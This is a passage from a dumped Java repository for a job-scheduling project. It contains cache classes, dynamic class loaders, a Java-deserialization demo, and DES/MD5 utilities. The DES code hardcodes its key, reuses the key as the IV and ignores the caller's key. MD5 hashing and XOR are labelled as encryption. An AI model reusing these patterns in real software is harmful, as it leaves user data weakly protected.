nodes.put(key, node);\r\n    }\r\n\r\n    /**\r\n     * 将entry删除, 注意：删除操作只有在cache满了才会被执行\r\n     */\r\n    public void remove(Object key) {\r\n        Entry node = nodes.get(key);\r\n        //在链表中删除\r\n        if (node != null) {\r\n            if (node.prev != null) {\r\n                node.prev.next = node.next;\r\n            }\r\n            if (node.next != null) {\r\n                node.next.prev = node.prev;\r\n            }\r\n            if (last == node)\r\n                last = node.prev;\r\n            if (first == node)\r\n                first = node.next;\r\n        }\r\n        //在hashtable中删除\r\n        nodes.remove(key);\r\n    }\r\n\r\n    /**\r\n     * 删除链表尾部节点，即使用最后 使用的entry\r\n     */\r\n    private void removeLast() {\r\n        //链表尾不为空,则将链表尾指向null. 删除连表尾（删除最少使用的缓存对象）\r\n        if (last != null) {\r\n            if (last.prev != null)\r\n                last.prev.next = null;\r\n            else\r\n                first = null;\r\n            last = last.prev;\r\n        }\r\n    }\r\n\r\n    /**\r\n     * 移动到链表头，表示这个节点是最新使用过的\r\n     */\r\n    private void moveToHead(Entry node) {\r\n        if (node == first)\r\n            return;\r\n        if (node.prev != null)\r\n            node.prev.next = node.next;\r\n        if (node.next != null)\r\n            node.next.prev = node.prev;\r\n        if (last == node)\r\n            last = node.prev;\r\n        if (first != null) {\r\n            node.next = first;\r\n            first.prev = node;\r\n        }\r\n        first = node;\r\n        node.prev = null;\r\n        if (last == null)\r\n            last = first;\r\n    }\r\n    /*\r\n     * 清空缓存\r\n     */\r\n    public void clear() {\r\n        first = null;\r\n        last = null;\r\n        currentSize = 0;\r\n    }\r\n\r\n}\r\n\r\nclass Entry {\r\n    Entry prev;//前一节点\r\n    Entry next;//后一节点\r\n    Object value;//值\r\n    Object key;//键\r\n}"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/cache/LRUCache2.java",
    "content": "package com.gome.clover.common.cache;\r\n\r\nimport java.util.ArrayList;\r\nimport java.util.Collection;\r\nimport java.util.LinkedHashMap;\r\nimport java.util.Map;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/22\r\n * Time: 17:31\r\n */\r\npublic class LRUCache2<K,V> {\r\n    private static final float   hashTableLoadFactor = 0.75f;\r\n\r\n    private LinkedHashMap<K,V> map;\r\n    private int                  cacheSize;\r\n\r\n    /**\r\n     * Creates a new LRU cache.\r\n     * @param cacheSize the maximum number of entries that will be kept in this cache.\r\n     */\r\n    public LRUCache2 (int cacheSize) {\r\n        this.cacheSize = cacheSize;\r\n        int hashTableCapacity = (int)Math.ceil(cacheSize / hashTableLoadFactor) + 1;\r\n        map = new LinkedHashMap<K,V>(hashTableCapacity, hashTableLoadFactor, true) {\r\n            // (an anonymous inner class)\r\n            private static final long serialVersionUID = 1;\r\n            @Override protected boolean removeEldestEntry (Map.Entry<K,V> eldest) {\r\n                return size() > LRUCache2.this.cacheSize; }}; }\r\n\r\n    /**\r\n     * Retrieves an entry from the cache.\r\n\r\n     * The retrieved entry becomes the MRU (most recently used) entry.\r\n     * @param key the key whose associated value is to be returned.\r\n     * @return    the value associated to this key, or null if no value with this key exists in the cache.\r\n     */\r\n    public synchronized V get (K key) {\r\n        return map.get(key); }\r\n\r\n    /**\r\n     * Adds an entry to this cache.\r\n     * The new entry becomes the MRU (most recently used) entry.\r\n     * If an entry with the specified key already exists in the cache, it is replaced by the new entry.\r\n     * If the cache is full, the LRU (least recently used) entry is removed from the cache.\r\n     * @param key    the key with which the specified value is to be associated.\r\n     * @param value  a value to be associated with the specified key.\r\n     */\r\n    public synchronized void put (K key, V value) {\r\n        map.put (key, value); }\r\n\r\n    /**\r\n     * Clears the cache.\r\n     */\r\n    public synchronized void clear() {\r\n        map.clear(); }\r\n\r\n    /**\r\n     * Returns the number of used entries in the cache.\r\n     * @return the number of entries currently in the cache.\r\n     */\r\n    public synchronized int usedEntries() {\r\n        return map.size(); }\r\n\r\n    /**\r\n     * Returns a <code>Collection</code> that contains a copy of all cache entries.\r\n     * @return a <code>Collection</code> with a copy of the cache content.\r\n     */\r\n    public synchronized Collection<Map.Entry<K,V>> getAll() {\r\n        return new ArrayList<Map.Entry<K,V>>(map.entrySet()); }\r\n\r\n} // end class LRUCache\r\n\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/compile/CreateAndCompileClassFile.java",
    "content": "package com.gome.clover.common.compile;\r\n\r\nimport java.io.File;\r\nimport java.io.FileNotFoundException;\r\nimport java.io.FileOutputStream;\r\nimport java.io.PrintWriter;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover Create And Compile Class File\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/26\r\n * Time: 19:31\r\n */\r\npublic class CreateAndCompileClassFile {\r\n\r\n    public static Class compileAndLoading(String classPath, String className){\r\n        String packageStr = className.substring(0,className.lastIndexOf(\".\"));\r\n        String clazzName = className.substring(className.lastIndexOf(\".\")+1);\r\n        String separator = File.separator;\r\n        File file = new File(classPath+separator+clazzName+\".java\");\r\n        PrintWriter out;\r\n        try {\r\n            out = new PrintWriter(new FileOutputStream(file));\r\n            StringBuilder sb = new StringBuilder();\r\n            sb.append(\"package \").append(packageStr).append(\" ; \").append(\"public class \").append(clazzName)\r\n                    .append(\"{}\");\r\n            out.println(sb.toString());\r\n            //关闭文件流\r\n            out.flush();\r\n            out.close();\r\n            com.sun.tools.javac.Main javac = new com.sun.tools.javac.Main();\r\n            String[] args = new String[] {\"-d\",System.getProperty(\"user.dir\"),clazzName+\".java\"};\r\n            int status = javac.compile(args);\r\n            if(0==status){\r\n             /*   return  new DynamicClassLoader(DynamicClassLoader.class.getClassLoader())\r\n                        .loadClass(classPath, className + \".class\");*/\r\n            }\r\n\r\n        } catch (FileNotFoundException e) {\r\n            e.printStackTrace();\r\n        }\r\n        return null;\r\n    }\r\n\r\n\r\n    public static void main(String args[]){\r\n       CreateAndCompileClassFile.compileAndLoading(System.getProperty(\"user.dir\"),\"com.gome.sb.SB\");\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/compile/DynamicClassLoader.java",
    "content": "package com.gome.clover.common.compile;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/26\r\n * Time: 20:24\r\n */\r\nimport java.io.ByteArrayOutputStream;\r\nimport java.io.IOException;\r\nimport java.io.InputStream;\r\nimport java.net.MalformedURLException;\r\nimport java.net.URL;\r\nimport java.net.URLConnection;\r\n\r\npublic class DynamicClassLoader extends ClassLoader {\r\n\r\n    public DynamicClassLoader(ClassLoader parent) {\r\n        super(parent);\r\n    }\r\n\r\n    @SuppressWarnings(\"unchecked\")\r\n    public Class loadClass(String classPath, String className)\r\n            throws ClassNotFoundException {\r\n        try {\r\n            String url = classPathParser(classPath)\r\n                    + classNameParser(className);\r\n            System.out.println(url);\r\n            URL myUrl = new URL(url);\r\n            URLConnection connection = myUrl.openConnection();\r\n            InputStream input = connection.getInputStream();\r\n            ByteArrayOutputStream buffer = new ByteArrayOutputStream();\r\n            int data = input.read();\r\n            while (data != -1) {\r\n                buffer.write(data);\r\n                data = input.read();\r\n            }\r\n            input.close();\r\n            byte[] classData = buffer.toByteArray();\r\n            return defineClass(noSuffix(className), classData, 0,\r\n                    classData.length);\r\n        } catch (MalformedURLException e) {\r\n            e.printStackTrace();\r\n        } catch (IOException e) {\r\n            e.printStackTrace();\r\n        }\r\n        return null;\r\n    }\r\n\r\n    private String pathParser(String path) {\r\n        return path.replaceAll(\"\\\\\\\\\", \"/\");\r\n    }\r\n\r\n    private String classPathParser(String path) {\r\n        String classPath = pathParser(path);\r\n        if (!classPath.startsWith(\"file:\")) {\r\n            classPath = \"file:\" + classPath;\r\n        }\r\n        if (!classPath.endsWith(\"/\")) {\r\n            classPath = classPath + \"/\";\r\n        }\r\n        return classPath;\r\n    }\r\n\r\n    private String classNameParser(String className) {\r\n        return className.substring(0, className.lastIndexOf(\".\")).replaceAll(\r\n                \"\\\\.\", \"/\")\r\n                + className.substring(className.lastIndexOf(\".\"));\r\n    }\r\n\r\n    private String noSuffix(String className) {\r\n        return className.substring(0, className.lastIndexOf(\".\"));\r\n    }\r\n\r\n    public static void main(String[] arguments) throws Exception {\r\n        String classPath = \"D:\\\\Java\\\\apache-tomcat-6.0.18\\\\bin\\\\\";\r\n        String className = \"com.gome.clover.core.job.client.WYMyJob1.class\";\r\n        Object object = new DynamicClassLoader(DynamicClassLoader.class.getClassLoader())\r\n                .loadClass(classPath, className).newInstance();\r\n        System.err.println(object);\r\n\r\n    }\r\n}"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/compile/MyClassLoader.java",
    "content": "package com.gome.clover.common.compile;\r\n\r\nimport com.gome.clover.common.tools.ClassUtil;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport org.apache.commons.codec.binary.Base64;\r\n\r\nimport java.io.File;\r\nimport java.io.FileInputStream;\r\nimport java.io.IOException;\r\nimport java.util.ArrayList;\r\nimport java.util.Hashtable;\r\n\r\n/**\r\n * 自定义类加载器\r\n */\r\npublic class MyClassLoader extends ClassLoader {\r\n\r\n    private static String myClasspath;\r\n\r\n    private static ArrayList loadClassList = new ArrayList();\r\n\r\n    private static Hashtable loadClassHashTable = new Hashtable();\r\n\r\n    public MyClassLoader() {\r\n    \tsuper(null); // 指定父类加载器为 null \r\n    }\r\n\r\n    /**\r\n     * 构造自定义的加载器 参数1：路径名\r\n     */\r\n    public MyClassLoader(String MyClasspath) {\r\n    \tsuper(null); // 指定父类加载器为 null \r\n        if (!MyClasspath.endsWith(\"\\\\\")) {\r\n            MyClasspath = MyClasspath + \"\\\\\";\r\n        }\r\n        this.myClasspath = MyClasspath;\r\n    }\r\n\r\n    /**\r\n     * 设置加载路径 参数1：路径名\r\n     */\r\n    public void SetMyClasspath(String myClasspath) {\r\n        if (!myClasspath.endsWith(\"\\\\\")) {\r\n            myClasspath = myClasspath + \"\\\\\";\r\n        }\r\n        this.myClasspath = myClasspath;\r\n    }\r\n\r\n    /**\r\n     * 查找类并加载 参数1：文件名 被 loadClass() 调用\r\n     */\r\n    public Class findClass(String name) {\r\n        byte[] classData = null;\r\n        try {\r\n            classData = loadClassData(name);\r\n        } catch (IOException e) {\r\n            e.printStackTrace();\r\n        }\r\n        \r\n        Class c = defineClass(name, classData, 0, classData.length);\r\n        loadClassHashTable.put(name, c);\r\n        System.out.println(\"加载\" + name + \"类成功。\");\r\n        return c;\r\n    }\r\n\r\n    /**\r\n     * 读取文件字节码 参数1：文件名 被 findClass() 调用\r\n     */\r\n    private byte[] loadClassData(String name) throws IOException {\r\n    \t String classname = name.replace('.', File.separatorChar) + \".class\";\r\n        System.out.println(classname);\r\n        if (!(classname == null || classname == \"\")) {\r\n            FileInputStream inFile = new FileInputStream(myClasspath +File.separatorChar+classname);\r\n            byte[] classData = new byte[inFile.available()];\r\n            inFile.read(classData);\r\n            inFile.close();\r\n            return classData;\r\n        }\r\n        System.out.println(\"读取字节码失败。\");\r\n        return null;\r\n    }\r\n\r\n    /**\r\n     * 加载类 参数1：字节码数组 参数2：类名\r\n     */\r\n    public Class loadClass(byte[] classData, String className)\r\n            throws ClassNotFoundException {\r\n        Class c = defineClass(className, classData, 0, classData.length);\r\n        loadClassHashTable.put(className, c);\r\n        System.out.println(\"加载\" + className + \"类成功。\");\r\n        return c;\r\n    }\r\n\r\n    /**\r\n     * 加载类 参数1：类名\r\n     */\r\n    public Class loadClass(String name) throws ClassNotFoundException {\r\n        return loadClass(name, false);\r\n    }\r\n\r\n    /**\r\n     * 加载类 参数1：类名 参数2：是否分析这个类\r\n     */\r\n    protected Class loadClass(String name, boolean resolve)\r\n            throws ClassNotFoundException {\r\n        byte[] classData = null;\r\n        Class temp = null;\r\n        // 如是系统类直接装载并记录后返回\r\n        if (name.startsWith(\"java.\")) {\r\n            temp = findSystemClass(name); // 调用父类方法\r\n            loadClassHashTable.put(name, temp);\r\n            System.out.println(\"loadClass: SystemLoading \" + name);\r\n            return temp;\r\n        }\r\n\r\n        try {\r\n            temp = findLoadedClass(name);// here need try again it is how to  work\r\n            if (temp != null) {\r\n                System.out.println(name + \" have loaded\");\r\n                return (temp);\r\n            }\r\n            try {\r\n                temp = findClass(name);\r\n            } catch (Exception fnfe) {\r\n            }\r\n            if (temp == null) {\r\n                temp = findSystemClass(name);\r\n            }\r\n            if (resolve && (temp != null)) {\r\n                resolveClass(temp);\r\n            }\r\n            return temp;\r\n        } catch (Exception e) {\r\n            throw new ClassNotFoundException(e.toString());\r\n        }\r\n    }\r\n\r\n  \r\n\r\n \r\n\r\n    public static void main(String[] args) {\r\n    \tSystem.out.println();\r\n        String classPath = System.getProperty(\"user.dir\");\r\n        MyClassLoader cl = new MyClassLoader(classPath);\r\n        try {\r\n            // 从tools.jar包中加载ContentSigner类\r\n            //cl.loadClass(\"ContentSigner\", \"tools\");\r\n            String className = \"com.gome.clover.job.MyJobWithSimpleJob\";\r\n            CreateAndCompileClassFile.compileAndLoading(classPath,className);\r\n\r\n        \tClass cls=cl.loadClass(className);\r\n        \tObject obj = cls.newInstance();\r\n            String msg = \"rO0ABXNyACJjb20uZ29tZS5jbG92ZXIuY29yZS5qb2IuQ2xpZW50Sm9iDQZqULjOYzACAApaABJpc1JlY292ZXJKb2JGcm9tREJMAAtleGVjdXRlVHlwZXQAMExjb20vZ29tZS9jbG92ZXIvY29yZS9qb2IvQ2xpZW50Sm9iJEV4ZWN1dGVUeXBlO1sADmZpeGVkQ2xpZW50SXBzdAATW0xqYXZhL2xhbmcvU3RyaW5nO1sADmZpeGVkU2VydmVySXBzcQB+AAJMAAJpcHQAEkxqYXZhL2xhbmcvU3RyaW5nO0wACGpvYkNsYXNzdAARTGphdmEvbGFuZy9DbGFzcztMAAxqb2JDbGFzc05hbWVxAH4AA0wACWpvYkRldGFpbHQAFkxvcmcvcXVhcnR6L0pvYkRldGFpbDtMAAdqb2JUeXBldAAsTGNvbS9nb21lL2Nsb3Zlci9jb3JlL2pvYi9DbGllbnRKb2IkSm9iVHlwZTtMAAd0cmlnZ2VydAAUTG9yZy9xdWFydHovVHJpZ2dlcjt4cAF+cgAuY29tLmdvbWUuY2xvdmVyLmNvcmUuam9iLkNsaWVudEpvYiRFeGVjdXRlVHlwZQAAAAAAAAAAEgAAeHIADmphdmEubGFuZy5FbnVtAAAAAAAAAAASAAB4cHQAA0FERHBwdAANMTAuMTQ0LjMzLjIxMnZyACZjb20uZ29tZS5jbG92ZXIuam9iLk15Sm9iV2l0aFNpbXBsZUpvYgAAAAAAAAAAAAAAeHB0ACZjb20uZ29tZS5jbG92ZXIuam9iLk15Sm9iV2l0aFNpbXBsZUpvYnNyAB1vcmcucXVhcnR6LmltcGwuSm9iRGV0YWlsSW1wbKvDyuwBWlSvAgAHWgAKZHVyYWJpbGl0eVoADXNob3VsZFJlY292ZXJMAAtkZXNjcmlwdGlvbnEAfgADTAAFZ3JvdXBxAH4AA0wACGpvYkNsYXNzcQB+AARMAApqb2JEYXRhTWFwdAAXTG9yZy9xdWFydHovSm9iRGF0YU1hcDtMAARuYW1lcQB+AAN4cAAAcHQAB3d5R3JvdXBxAH4AD3B0AAV3eUpvYn5yACpjb20uZ29tZS5jbG92ZXIuY29yZS5qb2IuQ2xpZW50Sm9iJEpvYlR5cGUAAAAAAAAAABIAAHhxAH4ACnQABUxPQ0FMc3IAKm9yZy5xdWFydHouaW1wbC50cmlnZ2Vycy5TaW1wbGVUcmlnZ2VySW1wbMwnIeqkAm6jAgAIWgAIY29tcGxldGVJAAtyZXBlYXRDb3VudEoADnJlcGVhdEludGVydmFsSQAOdGltZXNUcmlnZ2VyZWRMAAdlbmRUaW1ldAAQTGphdmEvdXRpbC9EYXRlO0wADG5leHRGaXJlVGltZXEAfgAaTAAQcHJldmlvdXNGaXJlVGltZXEAfgAaTAAJc3RhcnRUaW1lcQB+ABp4cgAob3JnLnF1YXJ0ei5pbXBsLnRyaWdnZXJzLkFic3RyYWN0VHJpZ2dlcsnRVzsN4PXuAgALSQASbWlzZmlyZUluc3RydWN0aW9uSQAIcHJpb3JpdHlaAAp2b2xhdGlsaXR5TAAMY2FsZW5kYXJOYW1lcQB+AANMAAtkZXNjcmlwdGlvbnEAfgADTAAOZmlyZUluc3RhbmNlSWRxAH4AA0wABWdyb3VwcQB+AANMAApqb2JEYXRhTWFwcQB+ABJMAAhqb2JHcm91cHEAfgADTAAHam9iTmFtZXEAfgADTAAEbmFtZXEAfgADeHAAAAAAAAAABQBwcHBxAH4AFHBxAH4AFHEAfgAVcQB+ABUAAAAAAAAAAAAAAAAAAAAAAHBzcgAOamF2YS51dGlsLkRhdGVoaoEBS1l0GQMAAHhwdwgAAAFKPIEUYHhwcQB+AB4=\";\r\n            ClientJob serverJob = (ClientJob) ClassUtil.BytesToObject(Base64.decodeBase64(msg));\r\n          /*  Method m = obj.getClass().getMethod(\"sayHello\", new Class[]{});\r\n            Object v=m.invoke(obj, new Object[]{});*/\r\n            System.err.println(obj);\r\n        } catch (ClassNotFoundException e) {\r\n            e.printStackTrace();\r\n        } catch (InstantiationException e) {\r\n\t\t\t// TODO Auto-generated catch block\r\n\t\t\te.printStackTrace();\r\n\t\t} catch (IllegalAccessException e) {\r\n\t\t\t// TODO Auto-generated catch block\r\n\t\t\te.printStackTrace();\r\n\t\t} catch (SecurityException e) {\r\n\t\t\t// TODO Auto-generated catch block\r\n\t\t\te.printStackTrace();\r\n\t\t} catch (IllegalArgumentException e) {\r\n\t\t\t// TODO Auto-generated catch block\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/compress/CompressUtil.java",
    "content": "package com.gome.clover.common.compress;\r\n\r\nimport org.xerial.snappy.Snappy;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Compress Util\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/4\r\n * Time: 22:36\r\n */\r\npublic class CompressUtil {\r\n    public static byte[] compress(byte[] orig) {\r\n        try {\r\n            return Snappy.compress(orig);\r\n        } catch (Exception e) {\r\n        }\r\n        return orig;\r\n    }\r\n\r\n    public static byte[] uncompress(byte[] compressed) {\r\n        try {\r\n            return Snappy.uncompress(compressed);\r\n        } catch (Exception e) {\r\n        }\r\n        return compressed;\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/encryption/DesUtil.java",
    "content": "package com.gome.clover.common.encryption;\r\n\r\nimport javax.crypto.Cipher;\r\nimport javax.crypto.SecretKey;\r\nimport javax.crypto.SecretKeyFactory;\r\nimport javax.crypto.spec.DESKeySpec;\r\nimport javax.crypto.spec.IvParameterSpec;\r\n\r\n/**\r\n * 模块描述:des加密工具\r\n * User: wangyue-ds6\r\n * Date: 2014/7/29\r\n * Time: 10:16\r\n */\r\npublic class DesUtil {\r\n\r\n    /**\r\n     * 加密、解密key.\r\n     */\r\n    private static final String PASSWORD_CRYPT_KEY = \"gomedscn\";\r\n\r\n    /**\r\n     * 加密算法\r\n     */\r\n    private final static String ALGORITHM = \"DES/CBC/PKCS5Padding\";\r\n\r\n    /**\r\n     * 对数据进行DES加密.\r\n     * @param data 待进行DES加密的数据\r\n     * @param cryptKey 待进行DES加密的key\r\n     * @return 返回经过DES加密后的数据\r\n     * @throws Exception\r\n     */\r\n\r\n    public final static String decrypt(String data,String cryptKey) throws Exception {\r\n        return new String(decrypt(hex2byte(data.getBytes()),cryptKey.getBytes()));\r\n    }\r\n\r\n    /**\r\n     * 对用DES加密过的数据进行解密.\r\n     *\r\n     * @param data DES加密数据\r\n     * @param cryptKey DES加密key\r\n     * @return 返回解密后的数据\r\n     * @throws Exception\r\n     */\r\n    public final static String encrypt(String data,String cryptKey) throws Exception {\r\n        return byte2hex(encrypt(data.getBytes(), PASSWORD_CRYPT_KEY\r\n                .getBytes()));\r\n    }\r\n\r\n    /**\r\n     * 用指定的key对数据进行DES加密.\r\n     *\r\n     * @param data 待加密的数据\r\n     * @param key  DES加密的key\r\n     * @return 返回DES加密后的数据\r\n     * @throws Exception\r\n     */\r\n    private static byte[] encrypt(byte[] data, byte[] key) throws Exception {\r\n\r\n        // 从原始密匙数据创建DESKeySpec对象\r\n        DESKeySpec dks = new DESKeySpec(key);\r\n        // 创建一个密匙工厂，然后用它把DESKeySpec转换成\r\n        // 一个SecretKey对象\r\n        SecretKeyFactory keyFactory = SecretKeyFactory.getInstance(\"DES\");\r\n        SecretKey securekey = keyFactory.generateSecret(dks);\r\n        //向量\r\n        IvParameterSpec iv = new IvParameterSpec(key);\r\n        // Cipher对象实际完成加密操作\r\n        Cipher cipher = Cipher.getInstance(ALGORITHM);\r\n        // 用密匙初始化Cipher对象\r\n        cipher.init(Cipher.ENCRYPT_MODE, securekey, iv);\r\n        // 现在，获取数据并加密\r\n        // 正式执行加密操作\r\n        return cipher.doFinal(data);\r\n    }\r\n\r\n\r\n    /**\r\n     * 用指定的key对数据进行DES解密.\r\n     *\r\n     * @param data 待解密的数据\r\n     * @param key  DES解密的key\r\n     * @return 返回DES解密后的数据\r\n     * @throws Exception\r\n     */\r\n    private static byte[] decrypt(byte[] data, byte[] key) throws Exception {\r\n        // 从原始密匙数据创建一个DESKeySpec对象\r\n        DESKeySpec dks = new DESKeySpec(key);\r\n        // 创建一个密匙工厂，然后用它把DESKeySpec对象转换成\r\n        // 一个SecretKey对象\r\n        SecretKeyFactory keyFactory = SecretKeyFactory.getInstance(\"DES\");\r\n        SecretKey securekey = keyFactory.generateSecret(dks);\r\n        //向量\r\n        IvParameterSpec iv = new IvParameterSpec(key);\r\n        // Cipher对象实际完成解密操作\r\n        Cipher cipher = Cipher.getInstance(ALGORITHM);\r\n        // 用密匙初始化Cipher对象\r\n        cipher.init(Cipher.DECRYPT_MODE, securekey, iv);\r\n        // 现在，获取数据并解密\r\n        // 正式执行解密操作\r\n        return cipher.doFinal(data);\r\n    }\r\n\r\n    public static byte[] hex2byte(byte[] b) {\r\n        if ((b.length % 2) != 0)\r\n            throw new IllegalArgumentException(\"长度不是偶数\");\r\n        byte[] b2 = new byte[b.length / 2];\r\n        for (int n = 0; n < b.length; n += 2) {\r\n            String item = new String(b, n, 2);\r\n            b2[n / 2] = (byte) Integer.parseInt(item, 16);\r\n        }\r\n        return b2;\r\n    }\r\n\r\n    public static String byte2hex(byte[] b) {\r\n        String hs = \"\";\r\n        String stmp = \"\";\r\n\r\n        for (int n = 0; n < b.length; n++) {\r\n            stmp = (Integer.toHexString(b[n] & 0XFF));\r\n            if (stmp.length() == 1)\r\n                hs = hs + \"0\" + stmp;\r\n            else\r\n                hs = hs + stmp;\r\n        }\r\n        return hs.toUpperCase();\r\n    }\r\n\r\n    public static void main(String args[]) {\r\n        try {\r\n            System.out.println(DesUtil.encrypt(\"admin\", \"gomedscn\"));\r\n            System.out.println(DesUtil.decrypt(\"25E9C7A91E66A5AA44573C1590847862\", \"gomedscn\"));\r\n        } catch (Exception e) {\r\n            e.printStackTrace();\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/encryption/MD5Util.java",
    "content": "package com.gome.clover.common.encryption;\r\n\r\nimport java.io.UnsupportedEncodingException;\r\nimport java.security.MessageDigest;\r\nimport java.security.NoSuchAlgorithmException;\r\nimport java.util.Arrays;\r\n\r\n/**\r\n * 采用MD5加密解密\r\n * @author wangyue-ds6 tfq\r\n * @datetime 2011-10-13\r\n */\r\npublic class MD5Util {\r\n    public static final String ENCODE = \"UTF-8\";  //UTF-8\r\n\r\n    /***\r\n     * MD5加码 生成32位md5码\r\n     */\r\n    public static String encryptMD5(String inStr){\r\n        MessageDigest md5 = null;\r\n        try{\r\n            md5 = MessageDigest.getInstance(\"MD5\");\r\n        }catch (Exception e){\r\n            System.out.println(e.toString());\r\n            e.printStackTrace();\r\n            return \"\";\r\n        }\r\n        char[] charArray = inStr.toCharArray();\r\n        byte[] byteArray = new byte[charArray.length];\r\n\r\n        for (int i = 0; i < charArray.length; i++)\r\n            byteArray[i] = (byte) charArray[i];\r\n        byte[] md5Bytes = md5.digest(byteArray);\r\n        StringBuffer hexValue = new StringBuffer();\r\n        for (int i = 0; i < md5Bytes.length; i++){\r\n            int val = ((int) md5Bytes[i]) & 0xff;\r\n            if (val < 16)\r\n                hexValue.append(\"0\");\r\n            hexValue.append(Integer.toHexString(val));\r\n        }\r\n        return hexValue.toString();\r\n\r\n    }\r\n\r\n    /***\r\n     * MD5加码 生成32位md5码\r\n     */\r\n    public static String encryptMD5WithKey(String encryptStr,String encryptKey){\r\n\r\n        byte k_ipa[] = new byte[64];\r\n        byte k_opal[] = new byte[64];\r\n        byte strBytes[];\r\n        byte value[];\r\n        try\r\n        {\r\n            strBytes = encryptStr.getBytes(ENCODE);\r\n            value = encryptKey.getBytes(ENCODE);\r\n        }\r\n        catch(UnsupportedEncodingException e)\r\n        {\r\n            strBytes = encryptStr.getBytes();\r\n            value = encryptKey.getBytes();\r\n        }\r\n        Arrays.fill(k_ipa, strBytes.length, 64, (byte) 54);\r\n        Arrays.fill(k_opal, strBytes.length, 64, (byte)92);\r\n        for(int i = 0; i < strBytes.length; i++)\r\n        {\r\n            k_ipa[i] = (byte)(strBytes[i] ^ 0x36);\r\n            k_opal[i] = (byte)(strBytes[i] ^ 0x5c);\r\n        }\r\n\r\n        MessageDigest md;\r\n        try\r\n        {\r\n            md = MessageDigest.getInstance(\"MD5\");\r\n        }\r\n        catch(NoSuchAlgorithmException e)\r\n        {\r\n            e.printStackTrace();\r\n            return null;\r\n        }\r\n        md.update(k_ipa);\r\n        md.update(value);\r\n        byte dg[] = md.digest();\r\n        md.reset();\r\n        md.update(k_opal);\r\n        md.update(dg, 0, 16);\r\n        dg = md.digest();\r\n        return toHex(dg);\r\n    }\r\n\r\n    /**\r\n     * 加密解密算法 执行一次加密，两次解密\r\n     */\r\n    public static String convertMD5(String inStr){\r\n\r\n        char[] a = inStr.toCharArray();\r\n        for (int i = 0; i < a.length; i++){\r\n            a[i] = (char) (a[i] ^ 't');\r\n        }\r\n        String s = new String(a);\r\n        